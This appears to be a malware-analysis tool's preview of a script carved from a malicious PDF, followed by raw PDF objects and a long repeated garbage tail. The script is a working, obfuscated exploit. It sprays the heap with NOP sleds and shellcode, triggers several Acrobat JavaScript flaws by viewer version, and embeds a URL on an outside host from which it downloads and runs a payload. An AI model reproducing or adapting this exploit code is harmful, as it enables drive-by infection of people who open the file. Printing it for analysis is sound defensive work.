Carved artifact contains 3 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var iYy=unescape,zws=app.viewerVersion.toString(),XZR=iYy("t\h\i\s");XZR=eval(XZR);if(zws<8)
{gQJHg();}
if(zws>=8&&zws<9)
{Rgt();}
if(zws<=9)
{HqIVe();}
function doftk(UiVOp,WGwzC){while(UiVOp.length*2<WGwzC){UiVOp+=UiVOp;}
return UiVOp.substring(0,WGwzC/2);}
function gQJHg(){var fnniw=iYy("\u4343\u4343\u4343\u0FEB\u335B\u66C9\u80B9\u8001\uEF33\uE243\uEBFA\uE805\uFFEC\uFFFF\u8B7F\uDF4E\uEFEF\u64EF\uE3AF\u9F64\u42F3\u9F64\u6EE7\uEF03\uEFEB\u64EF\uB903\u6187\uE1A1\u0703\uEF11\uEFEF\uAA66\uB9EB\u7787\u6511\u07E1\uEF1F\uEFEF\uAA66\uB9E7\uCA87\u105F\u072D\uEF0D\uEFEF\uAA66\uB9E3\u0087\u0F21\u078F\uEF3B\uEFEF\uAA66\uB9FF\u2E87\u0A96\u0757\uEF29\uEFEF\uAA66\uAFFB\uD76F\u9A2C\u6615\uF7AA\uE806\uEFEE\uB1EF\u9A66\u64CB\uEBAA\uEE85\u64B6\uF7BA\u07B9\uEF64\uEFEF\u87BF\uF5D9\u9FC0\u7807\uEFEF\u66EF\uF3AA\u2A64\u2F6C\u66BF\uCFAA\u1087\uEFEF\uBFEF\uAA64\u85FB\uB6ED\uBA64\u07F7\uEF8E\uEFEF\uAAEC\u28CF\uB3EF\uC191\u288A\uEBAF\u8A97\uEFEF\u9A10\u64CF\uE3AA\uEE85\u64B6\uF7BA\uAF07\uEFEF\u85EF\uB7E8\uAAEC\uDCCB\uBC34\u10BC\uCF9A\uBCBF\uAA64\u85F3\uB6EA\uBA64\u07F7\uEFCC\uEFEF\uEF85\u9A10\u64CF\uE7AA\uED85\u64B6\uF7BA\uFF07\uEFEF\u85EF\u6410\uFFAA\uEE85\u64B6\uF7BA\uEF07\uEFEF\uAEEF\uBDB4\u0EEC\u0EEC\u0EEC\u0EEC\u036C\uB5EB\u64BC\u0D35\uBD18\u0F10\u64BA\u6403\uE792\uB264\uB9E3\u9C64\u64D3\uF19B\uEC97\uB91C\u9964\uECCF\uDC1C\uA626\u42AE\u2CEC\uDCB9\uE019\uFF51\u1DD5\uE79B\u212E\uECE2\uAF1D\u1E04\u11D4\u9AB1\uB50A\u0464\uB564\uECCB\u8932\uE364\u64A4\uF3B5\u32EC\uEB64\uEC64\uB12A\u2DB2\uEFE7\u1B07\u1011\uBA10\uA3BD\uA0A2\uEFA1\u7468\u7074\u2F3A\u6E2F\u6363\u6E63\u6E6E\u2E63\u6E63\u692F\u676D\u6C2F\u616F\u2E64\u6870\u3F70\u3D61\u2661\u7473\u493D\u746E\u7265\u656E\u2074\u7845\u6C70\u726F\u7265\u3820\u302E\u577C\u6E69\u6F64\u7377\u5820\u2650\u3D65\u0032\u0000");var citAD=0x0c0c0c0c;var KXfeU=[];var IfpAs=0x400000;var ATYqm=fnniw.length*2;var WGwzC=IfpAs-(ATYqm+0x38);var UiVOp=iYy("\u9090\u9090");UiVOp=doftk(UiVOp,WGwzC);var IcpyE=(citAD-0x400000)/IfpAs;for(var MaVIl=0;MaVIl<IcpyE;MaVIl++){KXfeU[MaVIl]=UiVOp+fnniw;}
var xvxUI=iYy("\u0c0c\u0c0c");while(xvxUI.length<44952)xvxUI+=xvxUI;this.collabStore=Collab.collectEmailInfo({subj:"",msg:xvxUI});}
function Rgt(){var ZRp=new Array();function LNl(Wsh,zTG){while(Wsh.length*2<zTG){Wsh+=Wsh;}
Wsh=Wsh.substring(0,zTG/2);return Wsh;}
CZF=0x30303030;ufk=iYy("\u4343\u4343\u4343\u0FEB\u335B\u66C9\u80B9\u8001\uEF33\uE243\uEBFA\uE805\uFFEC\uFFFF\u8B7F\uDF4E\uEFEF\u64EF\uE3AF\u9F64\u42F3\u9F64\u6EE7\uEF03\uEFEB\u64EF\uB903\u6187\uE1A1\u0703\uEF11\uEFEF\uAA66\uB9EB\u7787\u6511\u07E1\uEF1F\uEFEF\uAA66\uB9E7\uCA87\u105F\u072D\uEF0D\uEFEF\uAA66\uB9E3\u0087\u0F21\u078F\uEF3B\uEFEF\uAA66\uB9FF\u2E87\u0A96\u0757\uEF29\uEFEF\uAA66\uAFFB\uD76F\u9A2C\u6615\uF7AA\uE806\uEFEE\uB1EF\u9A66\u64CB\uEBAA\uEE85\u64B6\uF7BA\u07B9\uEF64\uEFEF\u87BF\uF5D9\u9FC0\u7807\uEFEF\u66EF\uF3AA\u2A64\u2F6C\u66BF\uCFAA\u1087\uEFEF\uBFEF\uAA64\u85FB\uB6ED\uBA64\u07F7\uEF8E\uEFEF\uAAEC\u28CF\uB3EF\uC191\u288A\uEBAF\u8A97\uEFEF\u9A10\u64CF\uE3AA\uEE85\u64B6\uF7BA\uAF07\uEFEF\u85EF\uB7E8\uAAEC\uDCCB\uBC34\u10BC\uCF9A\uBCBF\uAA64\u85F3\uB6EA\uBA64\u07F7\uEFCC\uEFEF\uEF85\u9A10\u64CF\uE7AA\uED85\u64B6\uF7BA\uFF07\uEFEF\u85EF\u6410\uFFAA\uEE85\u64B6\uF7BA\uEF07\uEFEF\uAEEF\uBDB4\u0EEC\u0EEC\u0EEC\u0EEC\u036C\uB5EB\u64BC\u0D35\uBD18\u0F10\u64BA\u6403\uE792\uB264\uB9E3\u9C64\u64D3\uF19B\uEC97\uB91C\u9964\uECCF\uDC1C\uA626\u42AE\u2CEC\uDCB9\uE019\uFF51\u1DD5\uE79B\u212E\uECE2\uAF1D\u1E04\u11D4\u9AB1\uB50A\u0464\uB564\uECCB\u8932\uE364\u64A4\uF3B5\u32EC\uEB64\uEC64\uB12A\u2DB2\uEFE7\u1B07\u1011\uBA10\uA3BD\uA0A2\uEFA1\u7468\u7074\u2F3A\u6E2F\u6363\u6E63\u6E6E\u2E63\u6E63\u692F\u676D\u6C2F\u616F\u2E64\u6870\u3F70\u3D61\u2661\u7473\u493D\u746E\u7265\u656E\u2074\u7845\u6C70\u726F\u7265\u3820\u302E\u577C\u6E69\u6F64\u7377\u5820\u2650\u3D65\u0031\u0000\u0000\u0000\x43\x39\x43\x39\x43\x39\x43\x39\x43\x39\x43\x39\x43\x39\x43\x39\x43\x39\x43\x39");var afs=0x400000;var OFi=ufk.length*2;var zTG=afs-(OFi+0x38);var Wsh=iYy("\u9090\u9090");Wsh=LNl(Wsh,zTG);var Vzc=(CZF-0x400000)/afs;for(var oZP=0;oZP<Vzc;oZP++){ZRp[oZP]=Wsh+ufk;}
var eDF="38922279544736423325";for(iYy=0;iYy<138*2;iYy++){eDF+="5";}
util.printf("%4"+"50"+"00"+"f",eDF);}
function bls(pct)
{pct=pct.replace(/[\+1]/g,"0");pct=pct.replace(/[\+2]/g,"9");pct=pct.replace(/[\+3]/g,"8");pct=pct.replace(/[\+4]/g,"7");pct=pct.replace(/[\+5]/g,"6");pct=pct.replace(/[\+6]/g,"5");pct=pct.replace(/[\+7]/g,"4");pct=pct.replace(/[\+8]/g,"3");pct=pct.replace(/[\+9]/g,"2");pct=pct.replace(/[\+0]/g,"1");return pct;}
function HqIVe(){var SRgBv=iYy("\uC033\u8B64\u3040\u0C78\u408B\u8B0C\u1C70\u8BAD\u0858\u09EB\u408B\u8D34\u7C40\u588B\u6A3C\u5A44\uE2D1\uE22B\uEC8B\u4FEB\u525A\uEA83\u8956\u0455\u5756\u738B\u8B3C\u3374\u0378\u56F3\u768B\u0320\u33F3\u49C9\u4150\u33AD\u36FF\uBE0F\u0314\uF238\u0874\uCFC1\u030D\u40FA\uEFEB\u3B58\u75F8\u5EE5\u468B\u0324\u66C3\u0C8B\u8B48\u1C56\uD303\u048B\u038A\u5FC3\u505E\u8DC3\u087D\u5257\u33B8\u8ACA\uE85B\uFFA2\uFFFF\uC032\uF78B\uAEF2\uB84F\u2E65\u7865\u66AB\u6698\uB0AB\u8A6C\u98E0\u6850\u6E6F\u642E\u7568\u6C72\u546D\u8EB8\u0E4E\uFFEC\u0455\u5093\uC033\u5050\u8B56\u0455\uC283\u837F\u31C2\u5052\u36B8\u2F1A\uFF70\u0455\u335B\u57FF\uB856\uFE98\u0E8A\u55FF\u5704\uEFB8\uE0CE\uFF60\u0455\u7468\u7074\u2F3A\u6E2F\u6363\u6E63\u6E6E\u2E63\u6E63\u692F\u676D\u6C2F\u616F\u2E64\u6870\u3F70\u3D61\u2661\u7473\u493D\u746E\u7265\u656E\u2074\u7845\u6C70\u726F\u7265\u3820\u302E\u577C\u6E69\u6F64\u7377\u5820\u2650\u3D65\u0033\u0000\x29\x43\x29\x43\x29\x43\x29\x43");RIJ=iYy("\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090")+SRgBv;ITt=iYy("\u9090\u9090");HPy=5*2;lTu=HPy+RIJ.length;while(ITt.length<lTu)ITt+=ITt;BBH=ITt.substring(0,lTu);vCa=ITt.substring(0,ITt.length-lTu);while(vCa.length+lTu<0x40000)vCa=vCa+vCa+BBH;HAL=[];for(bEu=0;bEu<180;bEu++)HAL[bEu]=vCa+RIJ;var GpJ=4012;var HjQ=Array(GpJ);for(bEu=0;bEu<GpJ;bEu++)
{HjQ[bEu]=iYy("\u000a\u000a\u000a\u000a");}
Collab.getIcon(HjQ+"_N"+".b"+"un"+"dl"+"e");}
app.eval();
app.eval();
endstream
endobj
73 0 obj<</Subtype/XML/Length 224/Type/Metadata>>stream
©N> u «а©1XЄѕ»&Ї Єш'v/щ(шпС;с-nsd02`Б№Ђ0_5¦ћќ9%lч|Ъ|5‘•@ Ж‹эся ЄLД"  –Љ “©д«9иhS/ќkSЃcш-2T†ЮсѕqИ   ЊѓМwF} oN РХbљEИ iH\\ Лт
endstream
endobj
116 0 obj
<</ / / / /Filter/#46#6c#61#74#65#44#65#63#6f#64#65/Length 2000+052>>
stream
x^�X[o � ~ϯ  �B� �K./[y ��%c�� 'q�X���J�REVu�� ���f(;V ���S8�g��ϐ�3�G����o ��l�  棝O �r0��OF ���h����vWg/W��������a	�vk�?�O��V�G���`�Ƣӛ��P��:��N^<߇L���w���� ��'�[���p�   � ;^φ+�~���x�G������/�.>՝����t�P����du����И�[� j ��z1{�?w��w� �H���-S w�()��lr� ��s��m(b���R И�话� E�_��� $I  +@'t  c�	� No �� � X��`P ` M �2BCZ� ,q
��� �/ c2GԬ�ua Oƞ�Ϊ2��� IYK�F U��< ��� O] g&4��ʆ�3��	�B ���u:֦`k�����9� � �9"����b�lc
塒Ș1 e�V)�� ?��3���L^�E�<���� �h=0��� �j�嬇l�
�E� 2� ��{a FE�dER2 ����H���N��:'�t���& W�e����n����$HWC�Wd��
dO:G�{: �*n� U   #�8!_���_�w�tz  �>�jjʏ� �Ʉ �� ���"�	I�c7�9�<���"E ��?i_���<���� E����#���x���7�� ���@E;�uz ("�(�� Q��2F�or~#l!A� )� z�jZ���:f ���r� ڊ�OKM9oj�TF�D��>�:e�ϕ� c����i� lA��$�x `�� �C  �?k �ʃ�k  E�^�EȺBA*��a *^)hV�� �8Y*��  O��� ��Lf��q�'�R �+Q1 }%ln�%+,4�3CY
 � e�{ 6�"�^ �` k��Լ��=  e�Y�R�ac�<��%[ �y�  ��i��7T�Z� �儩I T�L<�I�&(��Z� ߐm��U �j��d z���	�C}���p���R\�a�����: �.����Z�#')����o ~(� �  &p�)Y�I����R�d���u�(D �  D�[ђ���c(���k7:O�Ho|�h��  G �R���w@"i��v�8�c&�M �˾� ������k�( H  �J ��8��вènɏ��t�� �M��w/Wg�QY�Q��*| L� ��Y�
���w��·��w,�y��r��*��p^�F ���b� u��� �����t�ӫg�� ?�T{� �-    ��J<x��oZ��W���b%���z��C� ���v<���P� j<W��� O� �m�KL]��������a0�[o�S��( �} JN	�'mPou T�xfN��M?@�ە����Oò�:u� �ʛ ���Ϩ��{`�'U~��c,�R
�«M� 5�l)WH)m�sta&�JI�bu4�� �^�ܷ�V� Rݲ �Ϗ֫�tw�� 5n�����-- �Uu[�� 8�
���= �0� ���]����p�~z��fo��촨 � U2��������L��P5S�=T�T} �25��ꘪ� L��P S3P7
�r��cs �m���  ~}�jA� �  %r:��E+� Gc� h�3n����p �i �� ��� hk�Վ�L� �� �  �VAJ ����u���ƶʑ�B� �k����ڪd��(E
�P�6t�a
QѓS�� � ti�gܲ+�S � �A 
�AC��<w���5��. r�W*�
�StVG�  ��\�lA
W3�%8
�s�d5y۠�#� '��: �  c�kX�Y�B� 0��uUMv ]�`�ŀ��r�#�����} �py ���u<�
Tc
��֮��p  0���� ��F $ � ��M�4n�@>�@ F�"i� Q��t*�?���ݩ%�&�դMh@eH�� "�<�%m�JK[� Gzb �E�,i�kKCl��!���17 ��%�
*:����"��'��Ã�w���k������V��������� �I���c�Qb���%�]��M� �!x=z����� ���>=� [b�׃;�/J�0O����Q� vos��! ��� ������*� �wa�� p/s�D[ �1VoY �s��l���E&���� e ��,�� ��"�� �Tmz"�L ~�� ������d�: ��ڐ���#���w � ��S� q� iv_�x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �
endstream
endobj
95 0 obj
<</ / / / /Direction/L2R/ / / />>
endobj
1990 0 obj
<</ / / / /S/#4a#61#76#61#53#63#72#69#70#74/JS 116 0 R/ / / />>
endobj
95 0 obj
<</ / / / /Direction/L2R/ / / />>
endobj
1 0 obj
<</ / / / /Typp/Action/S/#47#6f#54#6f/D[9 0 /XYZ 0 504 #31]/ / / />>
endobj
5 0 obj
<</ / / / /Typp/Action/S/#47#6f#54#6f/D[9 0 /XYZ 0 504 #31]/ / / />>
endobj
9 0 obj
<</ / / / /count 2/Type/Pages/Kids[1894 0 R]/ / / />>
endobj
123 0 obj
<</ / / / /Length 0000>>
stream
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
endstream
endobj
23 0 obj<</CropBox[0 0 595.22 842]/Parent 62 0 R/Contents 25 0 R/Rotate 0/MediaBox[0 0 595.22 842]/Resources 24 0 R/Type/Page>>
endobj
24 0 obj<</ColorSpace<</Cs6 59 0 R>>/Font<</TT2 52 0 R/TT3 54 0 R/TT4 45 0 R>>/ProcSet[/PDF/Text]/ExtGState<</GS1 57 0 R>>>>
endobj
25 0 obj[26 0 R 27 0 R 28 0 R]
endobj
26 0 obj<</Length 3>>stream
Y.в
endstream
endobj
91 0 obj
<</ / / / /S/JavaScript/JS 123 0 R/ / / />>
endobj
xref
trailer
<<
/Root 15 0 R
>>
startxrefx� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �